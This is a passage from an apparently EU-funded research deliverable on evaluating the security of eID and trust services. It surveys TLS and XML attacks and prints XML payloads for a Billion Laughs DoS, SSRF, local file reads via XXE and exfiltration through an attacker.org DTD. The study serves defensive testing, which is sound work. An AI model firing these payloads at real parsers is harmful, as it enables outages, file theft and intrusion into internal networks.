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Abstract: The present document delivers a novel methodology to measure and strengthen the 
security of eID services. In Task 2.3, we summarized attacks related to eID services and showed 
their applicability in two scientific papers [96] [97]. In this task, we introduce novel measuring 
techniques allowing developers, penetration testers, and administrators to analyze their services 
and detect potential security problems. Even though the document focuses on eID services, the 
introduced tools and measurement techniques are generic and can be adapted on any service 
beyond eID, too.  
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1. Executive Summary 

eID services rely on well-established technologies to guarantee a proper level of security. Such 

technologies strengthen the exchanged messages (1) during the transport and (2) on application 

level.  

Exchanging security critical messages on the Internet is associated with multiple risks related to 

attacks like eavesdropping or manipulating these messages. Thus, security mechanisms 

protecting the communication channel and guaranteeing authenticity, integrity, and confidentiality 

are required. The most widely used mechanism to achieve these goals is the Transport Layer 

Security protocol – TLS. Unfortunately, there exist a plethora of pitfalls regarding the configuration 

of the TLS protocol leading to security gaps. Such gaps are usually caused by the support of 

insecure cryptographic algorithms, outdated TLS protocol versions, and unpatched 

implementations with known vulnerabilities. 

Even if a transport channel is securely established, the exchanged messages on the application 

layer must be protected against different attacks, too. Similar to the security requirements during 

the transport, confidentiality, integrity, and authenticity must be guaranteed.  

The main goal of this document is to deliver a novel methodology to measure and strengthen eID 

services considering the transport and the message-level security aspects. Based on Task 2.3, 

which summarized attacks relevant for eID services, novel measuring techniques regarding the 

provided security level will be given. The measurement of the services can be done by considering 

different aspects like (1) resistance against known attacks, (2) results of tool-based scanning for 

potentially dangerous configurations, and (3) strength of the cryptographic algorithms.  

In order to support security experts and developers of eID services, we also introduce two tools 

facilitating the measurement of trustworthiness and executing security scans in a fully automated 

and semi-automated mode. The tools provide recommendations for developers to enhance the 

security of deployed eID systems. 
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3. Foundations 

In this section, we introduce the eID services considered in our research and their workflow. 

 eIDAS, eID Services, and Trust Services 

In the last few years, European countries have worked on developing strong authentication 

schemes based on electronic identification (eID) cards, enabling citizens to securely authenticate 

against public services when engaging in electronic transactions. 

Similarly, electronic Trust Services (eTS) have been deployed within member states as an integral 

part of secure electronic transactions. The provided services include electronic signatures and 

time stamps, as well as website authentication and electronic delivery services.  

In the past, implementations of eID services and eTS varied between member states, complicating 

cross-border electronic transactions. To facilitate the establishment of a seamless Digital Single 

Market within the European Union (EU), the eIDAS regulation was put into place.  

The Regulation (EU) N°910/2014 on electronic identification and trust services (eIDAS ) defines a 

regulatory environment to enable secure electronic transactions between businesses, citizens and 

public authorities within the EU [85]. 

3.1.1 eIDAS Authentication 

Access to eID services should be provided for citizens and organizations by using information 

already available on eID cards, for example, on the personal ID card which was issued by a 

government institution. 

Many countries developed their own authentication schemes based on well-established 

technologies that provide functionalities for secure browsing, login mechanisms, Single Sign-On 

or exchanging confidential data over untrusted networks. In order to meet national requirements 

and regulations, countries chose differing technologies and implemented specific extensions and 

functionalities. This caused incompatibilities between eID services and European cross-country 

authentication became almost impossible. 

In 2014, the European Commission addressed these cross-country incompatibilities for eID 

authentication by releasing the eIDAS regulation and defining different communication profiles 

used for authentication and trust establishment. Within this document, we refer to that 

authentication scheme as the eID/eIDAS ecosystem. 
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Figure 3-1 Overview of the eID/eIDAS ecosystem depicting the end-user, Service Provider, and the two eIDAS Nodes 

Figure 3-1 gives a high-level overview of cross-country eIDAS authentication. In our example, a 

citizen of a fictitious member state B wishes to use services provided by a service provider (SP) 

who operates in member state A. The user cannot make use of the Identity Provider (IdP) of his 

member state B directly to authenticate at the SP since the SP could not process the 

authentication token issued by an IdP from another member state. Therefore, eIDAS Nodes are 

used to translate the tokens and make them compatible between eID schemes. The SP first 

forwards the request to the eIDAS Connector, which translates the request for the eIDAS Service. 

The eIDAS Service then forwards the compatible request to the authoritative IdP, which can issue 

authentication tokens for the user. The authentication token is finally translated for the SP using 

eIDAS Nodes. The eIDAS Service can be operated by the sending member state as a proxy 

service or can be integrated into the receiving member state’s eIDAS Connector as a middleware 

[87]. 

3.1.2 Digital Signature Validation Services 

As mentioned above, European countries also worked on standardizing electronic signatures for 

different document formats such as XML, PDF, and CMS. This initiative aims at cross-border 

acceptance of digital signatures to accelerate the transition towards digitized, paperless, and more 

efficient processes in business and official procedures alike.  

Figure 3-2 Overview of the Digital Signature Service. 

The eIDAS Regulation sets a legally binding framework with regards to cross-border acceptance 

of electronic signatures between member states of the European Union [85]. Three types of 

electronic signatures are differentiated: Simple Electronic Signatures, Advanced Electronic 

Signatures (AdES), and Qualified Electronic Signatures (QES). The latter are recognized as 

legally equivalent to handwritten signatures all over the EU [95]. Qualified electronic signatures 
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are created by qualified devices and are based on a qualified certificate, i.e., one that has been 

issued by a Trust Service Provider (TSP) which was accredited by its supervising member state. 

To facilitate the use of electronically signed documents, the Connecting Europe Facility (CEF) 

provides an open-source software library called Digital Signature Services (DSS). This library can 

be used for signature validation and XML processing in a server application, as depicted in Figure 

3-2. A user navigates his browser to the DSS’s web application, uploads a signed document via 

the web interface, and receives a conclusive statement about the signature’s validity. From a 

user’s perspective, the advantages of a web application are obvious: installation, configuration, 

and software maintenance are taken care of by a third party which provides access to the DSS in 

the manner of a Software-as-a-Service (SaaS). 

3.1.2.1 Trust Establishment. 

To verify the trustworthiness of electronic signatures, DSS makes use of a Public Key 

Infrastructure (PKI) that has been established by publishing public key certificates in the Official 

Journal (OJ) of the EU [89] [90]. The corresponding private keys are entitled to sign the List of 

Trusted Lists (LoTL). The LoTL is provided by the European Commission (EC) and contains 

references to the Trusted List (TL) of each Member State (MS) as well as the public keys needed 

to verify the integrity and authenticity of the TLs. Each TL, in turn, contains public key certificates 

as trust anchors of the Trust Service Providers (TSPs) supervised and accredited by the 

respective MS’ authority. 

As sketched out in Figure 3-2, two important initialization steps are automatically performed to 

establish the PKI within the DSS web application. First, as depicted in Step 1.1, the LoTL is 

downloaded from a pre-configured Uniform Resource Locator (URL) and its integrity and 

authenticity is verified by validating the digital signature. The public keys necessary to perform the 

validation are loaded from a local Java keystore. Second, the MS’ TLs are fetched from the 

locations denoted in the LoTL, as depicted in Step 1.2 of Figure 3-2. The signature over each TL 

is validated using a corresponding public key from the LoTL. The TSP certificates from the TLs 

are stored by the DSS in an internal trust repository and are used for signature validation as 

explained in the next section. 

3.1.2.2 Document Verification 

After initialization, the DSS is ready to be used for signature verification. Step 2.1 in Figure 3-2 

depicts a user of the web application who uploads a signed document to check its validity. The 

DSS performs the required verification steps and responds with the validation result. A document 

is valid if: 

1. The signing certificate is trusted, that is, a chain of trust can be built up to a TSP’s trust 

anchor from a TL (and, therefore, up to the LoTL). 

2. The cryptographic verification of the digital signature is successful. 

3. The document is well-formatted and corresponds to the expected document structure. 

3.1.2.3 Security of DSS 
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In recent years, it has been shown how to break XML-based Single Sign-On (SSO) systems [2] 

[3] [75], read arbitrary files from XML servers [3] [73] [54], and shown how to perform Denial-of-

Service (DoS) attacks against XML-based services [51]. Because DSS makes use of similar 

technologies, analogous attacks present a serious threat and preventive countermeasures are, 

therefore, of high importance. On various occasions, the DSS service needs to process XML files. 

During the trust establishment phase, the DSS receives, parses, and verifies the LoTL and TLs, 

which are signed XML files. Later, DSS supports the validation of generic XAdESs, i.e., the service 

can be used to verify arbitrary signed XML documents. Processing XML files can have inadvertent 

security implications [2] [73]. 

The fact that the official DSS implementation by the CEF was found to be vulnerable to some of 

the issues sketched above proves the importance of security evaluations and measurements of 

such services [97]. In Section 5, we provide some technical background on relevant attack vectors. 

Section 7 explains how to use the newly implemented tools to detect the aforementioned 

weaknesses. 
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4. Transport-based Attacks 

The Transport Layer Security (TLS) protocol is one of the most important cryptographic protocols 

used on the Internet. It provides a way to protect the confidentiality, authenticity, and integrity of 

the exchanged data on the underlying transport protocol. In the TCP/IP reference model, the TLS 

protocol is located between the transport layer and the application layer. It is mainly used to secure 

the connection to web sites and web services. 

The first (unofficial) version was developed in 1994 by Netscape and was named Secure Sockets 

Layer (SSL). In 1999, SSL version 3.1 was officially standardized by the IETF Working Group and 

renamed Transport Layer Security (TLS). The current version is 1.3. 

TLS is complex and allows communication peers to choose from a large number of different 

algorithms for various cryptographic tasks (e.g., key agreement, authentication, encryption, and 

integrity protection). A cipher suite is a concrete selection of algorithms defined for the required 

cryptographic tasks. For example, TLS_RSA_WITH_AES_128_CBC_SHA defines RSA-PKCS#1 

v1.5 public-key encryption in order to exchange a premaster secret, while also defining symmetric 

AES-CBC encryption with a 128-bit key and SHA-1-based HMACs. 

When utilizing eID services, the entire communication between all participants is secured via TLS. 

Due to its importance and wide deployment, TLS has been within the scope of security research 

for many years now. In the last few years, attacks targeting improper encryption algorithms and 

configurations have appeared [138] [99] [104] [40], along with those against complex state 

machines [43] [131], extension specifications [139] [140], and the targeting of implementation 

failures with buffer overflows and overreads [117]. The large number of recent attacks motivates 

further security analyses and the development of new security evaluation tools. 

Recent years have shown that despite the wide usage of TLS, TLS libraries suffer from severe 

security vulnerabilities. In this section, we summarize the main threats related to TLS which we 

later consider in the development of a scoring system for attacks against TLS. We describe how 

these attacks are used to derive a TLS measurement scheme and recommendations to prevent 

against these attacks. Further attacks and their categorization can be found in [123]. 

 Insecure Configurations 

TLS is a complex protocol allowing a great flexibility regarding the protocol version to be used, 

cryptographic primitives, and the supported extensions. Unfortunately, supporting some of these 

features could lead to security problems. 

4.1.1 Insecure Cryptographic Algorithms 

TLS offers different asymmetric and symmetric encryption algorithms, as well as different 

cryptographic hash functions to establish a shared secret used for encrypting the transferred data. 

Some of the specified algorithms are considered insecure due to recently discovered attacks or 

limited security by design, e.g., a small key length. Thus, the support of these algorithms must be 
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avoided, otherwise the resistance against attacks breaking the confidentiality and/or authenticity 

of the TLS channel cannot be guaranteed. A comprehensive guide regarding the allowed 

algorithms is given introduced by OWASP’s TLS Cheat Sheet [141] and later considered during 

the measurement of trustworthiness. 

4.1.2 Insecure Protocol Version 

TLS and its predecessor SSL are a collection of protocols with different versions. There exist SSL 

versions 1, 2, and 3 as well as TLS versions 1.0, 1.1, 1.2, and 1.3. Weaknesses have been 

identified in all SSL protocols and thus, should no longer be used. 

Additionally, the TLS 1.0 protocol suffers from CBC chaining attacks and padding oracle attacks. 

Thus, its usage should be avoided. Since June 2018, the PCI DSS 3.2 prohibits the support of 

TLS 1.0. 

 Cryptographic Attacks 

4.2.1 Padding Oracle Attacks 

One of the main design failures in SSLv3 and TLS is the specification of the MAC-then-Pad-then-

Encrypt scheme in CBC cipher suites, i.e., cipher suites using the Cipher Block Chaining (CBC) 

mode of operation in the record layer. This scheme was responsible for a series of attacks on TLS 

implementations named padding oracle attacks. Even though the countermeasures are explicitly 

summarized in the TLS specification [14, Section 6.2.3.2], their correct implementation is 

challenging. 

In 2002, Vaudenay showed that the CBC mode of operation makes security protocols potentially 

vulnerable to padding oracle attacks [136]. These attacks are based on the malleability of the CBC 

mode of operation. CBC allows an attacker to flip specific bits in the plaintext without knowing the 

secret key. If a server allows the attacker to distinguish between valid and invalid padding bytes 

(e.g., by sending different error messages), the attacker can decrypt the message as follows. He 

starts with decrypting the last message byte. To this end, he iteratively flips bits in this byte and 

sends the message to the server. Once he receives a valid padding response, he knows he has 

correctly guessed the padding byte length (a 0x00 byte). This allows him to decrypt the last 

plaintext byte. Afterwards, he can proceed with further padding bytes and decrypt the whole 

message [136]. 

In order to mitigate this attack, the implementation must not allow an attacker to distinguish valid 

from invalid padding structures in the decrypted messages. However, implementing such a 

countermeasure correctly is very challenging. In 2013, Al Fardan and Paterson [99] used a similar 

technique to break TLS confidentiality and dubbed their attack “Lucky 13”. The attack relies on an 

important observation: common HMAC functions require different processing times when 

processing inputs of different lengths. By performing clever padding byte manipulations, the 

attacker can force the server to execute HMAC computations on plaintexts of different lengths. 

This is because the padding length determines the amount of data used as input into the HMAC 

function. The attacker can then measure the different processing times and learn information 

about the padding byte. We refer the reader to [99] for the full attack description. The fix to Lucky 
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13 was to change the MAC verification code in TLS implementations to be time-constant, 

regardless of the number of processed cleartext blocks. 

Another important attack on cryptographic implementations became POODLE [122]. This attack 

exploits a flexible SSLv3 padding format, which states that only the last padding byte must have 

a strictly computed value. Other padding bytes can have arbitrary values, in comparison to TLS 

where all the padding bytes must be of equal value. It turned out that this tiny difference in the 

padding scheme has serious consequences and can be dangerous in specific scenarios, even if 

the implementation does not distinguish valid from invalid messages. The POODLE attack allowed 

an attacker to decrypt encrypted cookies or other repeating messages. Together with the series 

of attacks on RC4, it led to prohibiting SSLv3 [122]. 

For every TLS implementation, it is thus of crucial importance to correctly validate the TLS padding 

structure and apply correct countermeasures. TLS libraries attempt to implement various 

countermeasures to make padding oracle attacks impossible. However, recent evaluations and 

scientific studies show that TLS implementations still contain insufficient padding verifications 

[107] [120] [134] or are vulnerable to variants of the Lucky 13 attack [100] [118]. 

4.2.2 Bleichenbacher’s Attack 

One of the most important attacks in the TLS history is Bleichenbacher’s million message attack 

[105]. The attack targets the RSA PKCS#1 v1.5 encryption scheme, which is used in the TLS 

protocol to encrypt a shared secret between both TLS peers. Essentially, Bleichenbacher’s attack 

is also a padding oracle attack. The attack is based on the malleability of the RSA encryption 

scheme and assumes the existence of an oracle that responds different messages according to 

the PKCS#1 v1.5 validity of the decrypted message. 

A server defending against this attack must not allow for the distinction between valid and invalid 

ciphertexts. However, recent studies show insufficiencies in the application of this 

countermeasure, e.g., in the Java TLS implementation (JSSE) and the Cavium accelerator chips 

[124], or in different closed source firewall appliances [108]. Further studies show how to improve 

the efficiency of this attack or how to apply it to different protocols and standards [104] [101]. 

In 2016, Aviram et al. presented an extension to this attack and named it DROWN [99]. DROWN 

exploits a vulnerability in the ancient SSLv2 protocol to mount Bleichenbacher’s attack. Attacking 

the SSLv2 protocol would typically have no impact because for more than a decade, most TLS 

clients only implement SSLv3 and higher. However, DROWN is a cross-protocol attack and allows 

an attacker to decrypt any connection established with a TLS RSA cipher suite. The only 

prerequisite is that the server supports SSLv2 and uses the same public key for this protocol. 

Aviram et al. showed that there were about 33% of web servers world-wide vulnerable to this 

attack in 2016. 

4.2.3 Invalid Curve Attacks 

In an ECDH key exchange, the client sends a public key EC point to the server. The server uses 

this public point to derive a shared secret. For the security of the ECDH key exchange, it is 

necessary to validate the incoming point and check whether this point belongs to a correct curve. 
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Otherwise, an attacker can send to the server an EC point from an invalid curve of a small order. 

If the server computes shared secrets based on invalid points, the attacker can learn the server’s 

private key [106]. 

This attack is not purely theoretical. Jager et al. showed that this attack is still applicable to modern 

TLS implementations [55]. In particular, the Java TLS implementation and Bouncy Castle were 

vulnerable to these attacks. As a countermeasure the servers supporting elliptic curves must 

check that the point is a valid point on the selected EC. If the point is not on the curve, the 

connection request must be rejected. 

4.2.4 BEAST Attack 

In 2011, Rizzo and Duong presented a new attack targeting CBC cipher suites in TLS 1.0 [103]. 

The attack was named BEAST (Browser Exploit Against SSL/TLS) and is based on the usage of 

predictable initialization vectors in TLS 1.0. It allows an attacker to perform a chosen-plaintext 

attack on repeatable plaintexts which are typically sent in HTTP connections. 

The attack only works against TLS 1.0. Newer protocols are not affected; TLS 1.1 and 1.2 generate 

initialization vectors at random for every ciphertext. TLS 1.3 does not use CBC ciphers suites. 

4.2.5 Compression Attacks 

In 2012, Rizzo and Duong presented their attack named CRIME (Compression Ratio Info-leak 

Made Easy). The attack exploits usage of compression in TLS and higher-level protocols, and 

allows an attacker to gain information about repeatable values, such as cookies. The attack was 

followed by other discoveries which extended its functionality by exploiting different properties of 

HTTP connections or timing. These attacks were named BREACH, TIME, and HEIST. As a 

countermeasure, compression should be deactivated in TLS and in higher-level algorithms. 

4.2.6 Attacks on Weak Cryptographic Algorithms 

Recent years have also shown different attacks on weak cryptographic algorithms in the context 

of TLS. FREAK (Factoring RSA Export Keys) [111] and Logjam [121] showed the dangers of 

export-grade cryptography. FREAK was based on the usage of 512-bit export-grade RSA in TLS. 

Logjam was based on 512-bit export-grade parameters used in DH ciphers. Both attacks allowed 

an attacker to decrypt connections in man-in-the-middle scenarios. 

Since 2013, several researchers analyzed the insecurity of RC4 and its usage in TLS [98] [137]. 

The attacks are based on the key scheduling weaknesses of RC4 which were already discovered 

in 2001 [114]. The increasing number of discovered attacks led to prohibiting RC4 in TLS and 

became an official RFC [128]. 

In 2016, Bhargavan and Leurent showed the danger of usage of 3DES and other 64-bit block 

ciphers [135]. They proved that due to a low output length, an attacker can enforce block collisions. 

This can allow him to decrypt confidential data in specific scenarios, such as HTTP cookies. 

In 2016, Bhargavan and Leurent also showed how attacks on weak cryptographic hash functions 

(SHA-1 and MD5) affect the security of TLS and related cryptographic protocols [133]. In the 
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context of TLS, they analyzed attacks on client and server authentication with SHA1-RSA and 

MD5-RSA. Additionally, they showed that it is potentially possible to attack the TLS 1.0/1.1 

handshake integrity due to the usage of SHA1 and MD5. We believe that their attack complexity 

estimations would now be lower due to the newer Shattered attacks [132]. TLS 1.2 is not affected 

since it uses SHA256. 

 State Machine Attacks 

TLS is a complex protocol containing different message flows. This results in complex state 

machine implementations which can contain severe security bugs. The first relevant security 

vulnerability was discovered in 2014 and was named Early CCS, or CCS injection vulnerability 

[113]. This vulnerability allows an attacker to inject an early ChangeCipherSpec message into the 

TLS handshake and force the TLS peer to derive a shared key based on a null secret. If a Man-

in-the-Middle (MitM) attacker and both TLS peers use vulnerable OpenSSL versions, the attacker 

can force both peers to establish a connection using a null secret and thus read the whole 

communication. 

The Early CCS vulnerability prompted researchers to search for state machine vulnerabilities. 

They found different unexpected state transitions in widely used TLS libraries [102] [131]. For 

example, the Java TLS implementation contained a serious vulnerability which allowed one to 

finish the TLS handshake without ChangeCipherSpec messages. This resulted in a plaintext 

communication between the client and the server. 

 Overflows and Overreads 

The Heartbleed bug in OpenSSL [117] has shown cryptography engineers how critical a simple 

buffer overread can be. Heartbleed allowed an attacker to read random bytes from a server’s 

memory, for example, private cryptographic keys. The reason was a buffer overread vulnerability 

in the OpenSSL heartbeat processing implementation. It forced major servers to renew their 

private keys and certificates. 

In the recent years, additional problems in various TLS libraries like buffer overflows or integer 

overflows have appeared [116] [125]. These buffer boundary violations motivated us to execute 

further security evaluations of TLS implementations. 
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5. Application-based Attacks 

Aside from attacks related to the transport of data, the security of the messages sent within the 

TLS channel should also be secured. Independent of the security goals, these messages can be 

signed and/or encrypted. In this section, we introduce different attacks assuming a secure 

transport channel and still bypass the security of the systems. We focus on XML-based attacks, 

as the eID ecosystem depends heavily on services processing potentially untrustworthy XML 

documents. 

 XML External Entities 

Extensible Markup Language (XML) offers the possibility to describe a document’s grammar or 

schema by using an internal or external Document Type Definition (DTD) in its DOCTYPE 

declaration. A DTD can not only set constraints on the logical structure of the XML object by 

defining the valid elements, but also allows to define special characters or character sequences 

as name-value pairs that can be referenced in the document [91]. As outlined in the following 

sections, DTDs offer a vast potential for DoS attacks based on both internal and external entities, 

can be abused for Server-Side Request Forgery, and can even to access locally stored files. 

5.1.1 Denial-of-Service (DoS) 

DoS attacks aim at decreasing the availability of the service under attack. This is primarily 

achieved by making the target consume large amounts of computational resources such as 

memory, bandwidth, or processing power while only investing a fraction of the resources by the 

attacker [52]. 

5.1.1.1 Billion Laughs Attack 

A well-known DTD-based DoS attack is the so-called Billion Laughs Attack [92] [73]. This attack 

employs recursively defined internal general entities, forcing the XML parser to expand a relatively 

small input document into a document which can reach several gigabytes in size [73] [52]. An 

example is given in Listing 5.1. First, an entity ent0 is declared, referencing the string “DoS”. 

Next, an entity ent1 references a concatenation of ent0 several times. This back-referencing to 

multiple instances of entities, which is defined in the preceding step, is repeated and results in an 

exponential expansion of the document size. 
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5.1.1.2 DoS Using External Entities  

If the XML parser resolves External Entities, a plethora of DoS attack-vectors may be available. 

For example, an adversary might be able to induce network requests for large remote files, thereby 

exhausting network or memory capacity of the system under attack. By inducing a large number 

of outgoing requests, resources of both the targeted XML parser and the destination of the forged 

requests may quickly become exhausted [54]. An overview regarding how such requests can be 

forged is given in the next sections. 

5.1.1.3 Other Techniques 

Several variants of the above attacks exist. The Quadratic Blowup attack declares a single XML 

entity that expands into a large string of several megabytes, greatly exceeding the size of the 

document. The recursive entity attack exploits XML parsers by recursively resolving nested 

entities [73]. 

5.1.2 SSRF 

One considerable area of attack exposed by many XML parsers is their capability to deal with 

various URL handlers. The following paragraphs explore some methods on how this can be 

abused for Server-Side Request Forgery (SSRF). 

5.1.2.1 SSRF Using External DTD 

A simple way to force a vulnerable XML parser to perform an outgoing request is to reference an 

external DTD. The example in Listing 5.2 shows how the XML parser can be induced to query a 

service in its local network, which would otherwise be unreachable for an external adversary. 

An alternative for the SYSTEM keyword is PUBLIC "id" as shown in Listing 5.3. 

<!DOCTYPE data [ 

  <!ENTITY ent0 "DoS"> 

  <!ENTITY ent1 "&ent0;&ent0;&ent0;&ent0;"> 

  <!ENTITY ent2 "&ent1;&ent1;&ent1;&ent1;"> 

   … 

  <!ENTITY ent13 "&ent12;&ent12;&ent12;&ent12;"> 

]> 

<data>&ent13;</data> 
Listing 5.1 The Billion Laughs Attack abuses limited recursion of general entities to 
exponentially expand the document size. 

<!DOCTYPE data PUBLIC "id" "http://192.168.178.2/shutdown"> 

<data>arbitrary content</data> 

<!DOCTYPE data SYSTEM "http://192.168.178.2/shutdown"> 

<data>arbitrary content</data> 

Listing 5.2 Using external DTDs to induce server-side requests [73]. 

Listing 5.3 The PUBLIC keyword references an external DTD associated with an identifier id. 
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5.1.2.2 SSRF Using External (Parameter) Entities. 

In addition to external DTDs, external entities can be used to cause server-side requests, as 

shown Listing 5.4. Because some parsers are able to restrict the allowed protocol handlers, it may 

be beneficial to try a number of different protocols besides http. Examples include, but are not 

limited to: ftp://, smb://, https://, file://, and the short UNC path form //. 

Another way to force the parser to perform outgoing requests is to use parameter entities [73]. 

5.1.2.3 Other Techniques 

The XML specification provides additional methods that can be abused to forge server-side 

requests from the XML parser. Most prominently, schemaLocation and 

noNamespaceSchemaLocation can cause insecurely configured parsers to issue network 

requests [73]. The xInclude extension [93] provides the opportunity for an additional attack [73]. 

5.1.3 File Exfiltration 

Exfiltration of file content from the parser’s local file system can be feasible if a direct feedback 

channel at the application level exists. Exfiltration is also possible if file content can be included in 

forged requests to a destination under the adversary’s control. 

5.1.3.1 File Exfiltration Using Direct Feedback 

In contrast to the external entity’s intended purpose of including additional DTDs from external 

sources, an adversary can abuse the functionality of external entities to include files that are 

otherwise inaccessible. In Listing 5.5, we assume a direct feedback channel, e.g., the application 

returns the contents of the <data> element in its response. 

If the content of a referenced file is not well-formed according to the XML specification, well-

behaved parsers will abort entity expansion with an exception. Several techniques are known to 

circumvent this restriction. Please refer to [54] and [73] for a detailed description on how parameter 

entities can be used to wrap arbitrary file contents in a <![CDATA []]> block. 

<!DOCTYPE data [ 

  <!ENTITY extEnt SYSTEM "http://192.168.178.2/shutdown">  

]> 

<data>&extEnt;</data> 

Listing 5.4 Causing server-side requests using external entities 

<!DOCTYPE data [ 

  <!ENTITY extEnt SYSTEM "file:///etc/passwd">  

]> 

<data>&extEnt;</data>  

Listing 5.5 Using a direct feedback channel of the <data> element to read out 
/etc/passwd 



Future Trust Services for Trustworthy Global Transactions  
Measurement of Trustworthiness 

 
 

Document name: Evaluation of eID and Trust Services  

Reference: D2.4 Dissemination: PU Version: 1.0 Status: Final Page:   19 of 51 

 

5.1.3.2 File Exfiltration Using SSRF 

Even if no direct feedback channel is available, file contents can sometimes still be extracted. If 

the parser can establish network connections, an adversary can proceed as follows: an external 

DTD can be used to declare Parameter Entities, which can then be included in URLs of forged 

parser requests. An example is given in Listing 5.6 [73]. 

The file ext.dtd, which is loaded from attacker.org, is prepared to read a local file, e.g., 

/etc/hostname as illustrated in Listing 5.7. Its content may then be sent to the attacker as a 

part of the URL’s path or query-string. 

The example above is a slight variation of a similar technique presented by Morgan and Ibrahim 

in 2014 [54]. 

 XML Signature Wrapping 

The XSW attack was first presented in 2005 [31], illustrating that naive verifications of XML 

Signatures may leave an application vulnerable to processing manipulated data. The basic idea 

behind this attack is to hide signed elements in a different part of the XML tree and let the 

verification logic verify different content than the content processed by the business logic. This 

way, the application may perform operations on elements which are not protected by the original 

signature causing attacker-generated content to be processed. 

The XML Signature specification [18] defines how to generate signatures of XML documents and 

how to unambiguously bind signatures to the respective documents. The signature can be 

transmitted independently from the signed document as a Detached Signature, embedded in the 

signed document parts as an Enveloped Signature, or it can embed the signed document as an 

Enveloping Signature. The basic structure of the latter two variants is depicted in Figure 5-2. 

<!DOCTYPE data [ 

  <!ENTITY % ext SYSTEM "http://attacker.org/ext.dtd"> 

  %ext; 

]> 

<data>&send;</data>  

Listing 5.6 An external document defines an additional XML entity to be sent, which is used 
for request forgery (see Listing 5.7) 

<!ENTITY % file SYSTEM "file:///etc/hostname"> 

<!ENTITY % tmp "<!ENTITY send SYSTEM 

’http://attacker.org?f=%file;’>" >  

%tmp; 

Listing 5.7 The file hosted at attacker.org/ext.dtd concatenates the file content 
with a request URL using parameter entities. 
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The XML Signature must not only provide the signature’s value but also define exactly how this 

signature has been generated from the signed document. This meta information is provided within 

the SignedInfo element. Figure 5-1 shows the structure of a simplified XML Signature. The 

CanonicalizationMethod element defines a specific algorithm that is used to convert the XML 

structure to be signed into its canonical form. Multiple Reference elements provide exact 

references to signed document parts and the corresponding DigestMethod, as well as the 

resulting DigestValue. Finally, the SignatureValue element contains the encoded signature 

value that’s computed over the whole SignedInfo element using the cryptographic algorithms 

defined in the SignatureMethod element. 

Figure 5-3 shows am exemplary XSW attack against an Enveloped XML Signature. The signed 

document is copied (excluding the Signature element) and placed inside an additional Object 

element in the Signature. The copied document keeps its Id value (signed, in the example), 

while the Id attribute of the outer document is changed. The payload of the outer document 

(EvilData) can be adjusted to the attacker's liking. If the signature validation logic exclusively uses 

Id-based referencing, it will assert that the original document (Id='signed') has not been 

manipulated and the signature is valid. 

Figure 5-2 Schematic structure of Enveloped XML Signature 
(left) and Enveloping XML Signature (right) 

Figure 5-1 Exemplary structure of an XML Signature 
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Figure 5-3 Example of an XML Signature Wrapping Attack 

If the business logic then processes the document, it may perform operations on elements which 

are not protected by the original signature causing the attacker-generated EvilData to possibly be 

processed by the vulnerable application. This way, the application may perform operations on 

elements which are not protected by the original signature, causing attacker-generated content to 

be processed.  

The attack depends on the concrete implementation of the signature validation and the processing 

logic. As an example, in order to perform a successful attack, it might be necessary to change the 

order of signature and injected data [2]. 

 Signature Exclusion 

In this attack, the adversary removes the signature from a benign message and alters the 

message content before submitting it to the intended recipient. If the application accepts 

messages which do not include a signature, the verification process is broken. As a 

countermeasure, each recipient of a message must only accept a message if a valid signature is 

provided.  

 Certificate Faking 

The process of replacing the signature element of an XML message with a self-generated 

signature and key is termed Certificate Faking [3]. If a single SAML service is vulnerable to 

Certificate Faking, the authentication scheme is broken because a malicious user is able to forge 

arbitrary messages and identities. To protect against this attack, each recipient of a message, 

where the integrity is protected by an XML signature, must ensure to exclusively use trusted keys 

for signature verification. In particular, keys included in the message must not be considered as 

trustworthy without further verification. 

 Weaknesses in XML Encryption 
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According to the eIDAS SAML profile, the encryption of the SAML Assertion within the SAML 

Response is mandatory and must therefore be considered during security evaluations. In SAML, 

the confidentiality of transferred authentication statements against intermediaries can be provided 

using XML Encryption [76]. However, implementing XML Encryption in a secure way can be tricky 

and several attacks on XML Encryption have been identified in the past [4] [6] .  

Implementations of XML Encryption can be vulnerable to adaptive chosen ciphertext attacks. This 

is a class of attacks in which the attacker sends a sequence of manipulated ciphertexts to a 

decryption oracle as a way to gain information about the plaintext content. Falsely implemented 

XML Encryption can be broken using: 

• an attack against the CBC-mode decryption (quite similar to a padding oracle attack) [4] 

or 

• a Bleichenbacher attack against the RSA-PKCS#1 encryption of the session key [6]. 

SAML makes use of XML Encryption and its implementations could, therefore, also be vulnerable 

to these attacks. 

The eIDAS SAML Profile prohibits the use of the insecure cryptographic algorithms AES-CBC and 

RSA-PKCS#1 [86]. For this reason, security tests related to XML encryption on eIDAS were 

considered optional within the FutureTrust project. However, due to the importance of XML 

Encryption for other services beyond eID, we implemented semi-automated security tests to 

assess the trustworthiness of these services. 

5.5.1 XML Encryption in SAML 

To support confidential transmission of sensitive data within the SAML Assertion, assertions can 

be encrypted using XML Encryption. An EncryptedAssertion is shown in the abridged example 

below. 
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The EncryptedAssertion contains an EncryptedData element, which in turn is the parent of the 

EncryptionMethod, KeyInfo, and CipherData elements. SAML makes use of what is referred to as 

a hybrid encryption scheme. This is done using a session key which symmetrically encrypts the 

payload data (the example uses AES-128 in CBC mode), resulting in the ciphertext contained in 

the EncryptedAssertion/EncryptedData/CipherData/CipherValue child element. The session key 

itself is encrypted using an asymmetric encryption scheme. In our example, RSA-PKCS#1.5 

encryption is used with the public key of the recipient, allowing the contents of the EncryptedKey 

child element to be derived from the KeyInfo element. 

As sketched out above, the symmetric session key is encrypted using the recipient's public key. 

Since the key is public, anybody can use it to encrypt a selected symmetric key and submit a valid 

encryption of arbitrary messages to the recipient. This allows the creation of ciphertexts which can 

be decrypted into chosen plaintexts. To accomplish this, one can purposefully send invalidly 

padded messages, or messages containing invalid XML, as a method to trigger and analyze the 

different reactions at the decryption endpoint (i.e., turning the endpoint into a decryption oracle). 

Section 7.2.3.3 introduces a tool that simplifies these tests and allows testers to easily check 

whether a Bleichenbacher oracle or a CBC-mode decryption oracle exist in the tested SAML 

endpoint. 

 

<EncryptedAssertion> 

  <EncryptedData> 

    <EncryptionMethod  

             Algorithm="http://www.w3.org/2001/04/xmlenc#aes128-cbc"/> 

    <KeyInfo> 

      <EncryptedKey> 

        <EncryptionMethod 

             Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-1_5"/> 

        <CipherData> 

          <CipherValue> 

            [...] 

          </CipherValue> 

        </CipherData> 

      </EncryptedKey> 

    </KeyInfo> 

    <CipherData> 

        <CipherValue> 

          [...] 

        </CipherValue> 

    </CipherData> 

  </EncryptedData> 

</EncryptedAssertion> 
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6. Measurement Techniques 

In this section, we introduce novel measurement techniques computing the trustworthiness level 

